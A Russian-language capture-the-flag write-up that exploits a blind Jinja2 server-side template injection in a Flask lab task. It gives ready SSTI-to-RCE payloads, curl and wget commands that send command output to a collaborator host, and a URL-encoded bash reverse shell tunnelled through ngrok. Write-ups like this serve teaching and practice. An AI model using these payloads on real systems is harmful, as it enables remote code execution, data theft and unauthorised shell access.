Автор: @cherepawwka
Источник: Codeby Games Minefield writeup
Ссылка на таск Codeby:
https://codeby.games/categories/web/e6e7e5fa-ac66-4005-be8e-ab6395e37e1b
Описание задания
Всё тайное становится явным
IP: 62.173.140.174:16024
Решение
Всем привет!
Сегодня мы решим задание средней сложности с платформы Codeby Games под названием ”Минное поле”. Здесь мы проэксплуатируем “слепую” SSTI и научимся пользоваться инструментом ngrok.
Приступим!
Поиск точки входа
Для начала познакомимся с заданием и перейдём по заданному адресу:
Описание задания
Здесь нас сразу встречает интересное поле размером 20*20, и нам предлагают продемонстрировать наши умения.
Сразу же начинаем искать подсказки в коде страницы, и в данном случае находим путь к JS:
Сам JS выглядит следующим образом:
В нем мы находим новый параметр (balloon
), а также видим, что этот JS и отвечает за взаимодействие с сеткой на главной странице. Также сразу подмечу, что это JQuery (JS-библиотека), о чем мы могли догадаться по скриптам из кода страницы. Её версия — 3.6.4, и в ней нет явно документированных обнаруженных уязвимостей.
Вернемся к главной странице и нажмем на любой шарик:
Последствия нажатия на случайный шар
Мы можем заметить, что мы сделали полноценный запрос, и это взаимодействие не клиентское, а серверное. Следовательно, вероятная уязвимость тут тоже серверная.
Давайте профаззим возможные значения параметра balloon при поиощи ffuf:
ffuf -u "http://62.173.140.174:16024/?balloon=FUZZ" -w /usr/share/seclists/Fuzzing/3-digits-000-999.txt -fs 132306
Здесь мы отфильтровали ответ размером 132306 байт, так как это страница с надписью “Oops. Missed”. Варианты с 000 и 400+ нас также не интересуют, так как в таком случае выводится следующее сообщение:
Оно и неудивительно, шаров у нас только 400, с первого по четырёхсотый. Остался вариант с 337:
И это уже что-то.
До сих пор особо неясно, что тут за уязвимость. Однако, для этого в описании есть небольшая подсказка:
Роботы всегда мыслят по шаблонам…
Ключевые слова тут для нас, кажется, “роботы” и “шаблоны”. Файла robots.txt тут нет, а вот шаблоны переводятся на английский как templates. Есть только две уязвимости, которые содержат в своём названии слово шаблон: CSTI и SSTI.
Первая, Client Side Template Injection, в нашем случае не подходит, так как у нас не клиентское взаимодействие, а библиотека — JQuery (об этом я говорил выше).
Вторая, Server Side Template Injection, скорее всего то, что нам нужно. Про SSTI у меня есть отдельная статья, рекомендую к ознакомлению перед тем как продолжить.
Эксплуатация
Давайте убедимся, что перед нами именно SSTI. Нам нужно знать шаблонизатор, и тут нам помогает ответ сервера:
Мы видим очень интересный заголовок Server, в котором присутствует упоминание Python и библиотеки Werkzeug. Библиотека характера для Python-фрэймворка Flask, который работает с шаблонизатором Jinja2. Давайте проверим это предположение. Для этого воспользуемся следующими нагрузками, которые дадут нам верный результат:
http://62.173.140.174:16024/?balloon={{337}}
http://62.173.140.174:16024/?balloon={{1*337}}
Результат внедренной полезной нагрузки
Другие варианты, типа {{300+37}}, также работают:
http://62.173.140.174:16024/?balloon={{300%2b37}}
Важно: здесь необходимо заменить символ +
на его URL-представление, иначе он будет распознан браузером как символ пробела, и нагрузка не сработает.
Если мы будем пытаться далее вызвать привычные нам нагрузки (например, {{config}}
), то мы не увидим результата: инъекция у нас слепая.
Попытка вывести config
Тут на помощь приходит техника эксплуатации внеполосных инъекций. Раз у нас есть SSTI, наша задача получить RCE. Для этих целей я буду использовать готовые нагрузки из репозитория Paylodas All The Things для выполнения удаленного кода, например:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
{{self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}
{{self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}
Также нам понадобится домен коллаборатора для поимки отстука. Попробуем получить запрос на наш сервер:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('wget http://4jofudufedn5hqdx72avskfs4jaay0mp.oastify.com/cherepawwka.txt').read()}}
URL запроса будет выглядеть так:
http://62.173.140.174:16024/?balloon={{self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27wget%20http://4jofudufedn5hqdx72avskfs4jaay0mp.oastify.com/cherepawwka.txt%27).read()}}
Проверяем коллаборатор и получаем отстук!
Отлично, осталось лишь довести всё это до шелла.
Collaborator
В текущей ситуации для получения результатов исполнения команд можно обойтись и одним коллаборатором, а код исполнять следующим образом:
whoami > /tmp/whoami.txt && curl --data-binary "@/tmp/whoami.txt" http://4jofudufedn5hqdx72avskfs4jaay0mp.oastify.com/
Эта команда осуществляет исполнение whoami
и запись результата в файл /tmp/whoami.txt
директории /tmp
. Далее при помощи curl
отправляется содержимое ранее созданного файла на наш коллаборатор в теле POST-запроса.
Закодируем нагрузку в URL и исполним:
http://62.173.140.174:16024/?balloon={{self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27%77%68%6f%61%6d%69%20%3e%20%2f%74%6d%70%2f%77%68%6f%61%6d%69%2e%74%78%74%20%26%26%20%63%75%72%6c%20%2d%2d%64%61%74%61%2d%62%69%6e%61%72%79%20%22%40%2f%74%6d%70%2f%77%68%6f%61%6d%69%2e%74%78%74%22%20%68%74%74%70%3a%2f%2f%34%6a%6f%66%75%64%75%66%65%64%6e%35%68%71%64%78%37%32%61%76%73%6b%66%73%34%6a%61%61%79%30%6d%70%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%2f%27).read()}}
Смотрим коллаборатор:
RCE!
Отлично, у нас условно есть контроль над машиной. Для примера выведу еще результат команды ls -la, продемонстрировав PoC:
{{self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27%6c%73%20%2d%6c%61%20%3e%20%2f%74%6d%70%2f%77%68%6f%61%6d%69%2e%74%78%74%20%26%26%20%63%75%72%6c%20%2d%2d%64%61%74%61%2d%62%69%6e%61%72%79%20%22%40%2f%74%6d%70%2f%77%68%6f%61%6d%69%2e%74%78%74%22%20%68%74%74%70%3a%2f%2f%34%6a%6f%66%75%64%75%66%65%64%6e%35%68%71%64%78%37%32%61%76%73%6b%66%73%34%6a%61%61%79%30%6d%70%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%2f%27).read()}}
Результат исполнения ls -la
Однако такой шелл нас не устраивает, и мы хотим полноценный реверс. Что же делать в случае, если у нас нет публичного адреса?
Тут нам на помощь приходит ngrok!
Решение 2 - Ngrok
Справка: ngrok
Ngrok — это инструмент, который предоставляет возможность создания временного туннеля между локальным компьютером и Интернетом. Он позволяет обеспечить доступ к локальному серверу или порту посредством общедоступного URL-адреса, который можно использовать для доступа к веб-приложениям или сервисам, развернутым на локальном компьютере.
Давайте поэтапно проделаем все шаги, чтобы получить заветный реверс.
Установка ngrok
Идем на официальный сайт и скачиваем подходящую для нас версию. В моем случае это Luinux X86-64.
Выбор нужного нам пакета
Ниже приведена команда, которая позволит нам в одно действие распаковать и положить бинарник в /usr/local/bin (в случае, если мы не сидим под root и в домашней директории пользователя ~
есть папка Downloads, куда по умолчанию скачается архив):
sudo tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
Далее мы можем обращаться к бинарному файлу путём простой команды ngrok
.
Для использования инструмента нам необходимо зарегистрировать аккаунт на сайте разработчика. Можете регистрировать его на tempmail. Нам в дальнейшем будет необходимо подтвердить аккаунт, перейдя по ссылке из присланного письма, поэтому левые почты, к которым у вас нет доступа, лучше не использовать.
После регистрации и авторизации у нас в личном кабинете появится Authtoken, который необходимо добавить в конфиг путем исполнения следующей команды:
ngrok config add-authtoken <Authtoken>
Всё, инструмент готов к использованию.
Получение обратного шелла
В качестве команды, исполняемой на сервере для получения обратной оболочки, будем использовать обычный bash:
/bin/bash -c 'bash -i >& /dev/tcp/HOST/POST 0>&1'
Запустим ngrok и получим данные для реверс-коннекта. Я буду использовать порт 4545:
ngrok tcp 4545
После чего появляется следующее окно:
Нас интересует строка Forwarding:
tcp://7.tcp.eu.ngrok.io:14570 -> localhost:4545
Здесь мы видим имя хоста и публичный порт, а также адрес, куда будет проксироваться трафик на внешний интерфейс: localhost:4545
.
Откроем листенер на порту 4545:
nv -lnvp 4545
Подготовим полезную нагрузку:
Готовим шелл
/bin/bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/14570 0>&1'
Кодируем в URL (при помощи Burp Decoder)
%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%37%2e%74%63%70%2e%65%75%2e%6e%67%72%6f%6b%2e%69%6f%2f%31%34%35%37%30%20%30%3e%26%31%27
Полезная нагрузка для SSTI
{{self.__init__.__globals__.__builtins__.__import__(%27os%27).popen("%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%37%2e%74%63%70%2e%65%75%2e%6e%67%72%6f%6b%2e%69%6f%2f%31%34%35%37%30%20%30%3e%26%31%27").read()}}
Вставляем нагрузку в уязвимый эндпоинт, жмём Send и получаем обратный шелл:
Исполнение команды для Reverse Shell
Шелл
Для завершения задания необходимо только найти флаг, но это я оставлю вам!
Ниже приведен фрагмент кода уязвимого приложения (код декоратора @app.route
), где мы можете видеть проблемные места:
@app.route("/", methods=['GET', 'POST'])
def home():
if request.args.get('balloon'):
try:
out = render_template_string(request.args.get('balloon'));
balloon = int(out);
r = range(1, 400);
if (balloon in r):
if (balloon == 337):
out = render_template_string('Congratulations! You found the secret balloon #'+str(balloon));
else:
out = render_template_string("Oops. Missed");
else:
out = render_template_string("Unknown ball identifier");
except Exception as e:
out = render_template_string("Unknown ball identifier");
return render_template('index.html', result=out)
else:
return render_template('index.html', result='Are you here to whine or to show off your skills?')
На этом разбор интересного таска закончен. До новых встреч!
До новых встреч!
Tags: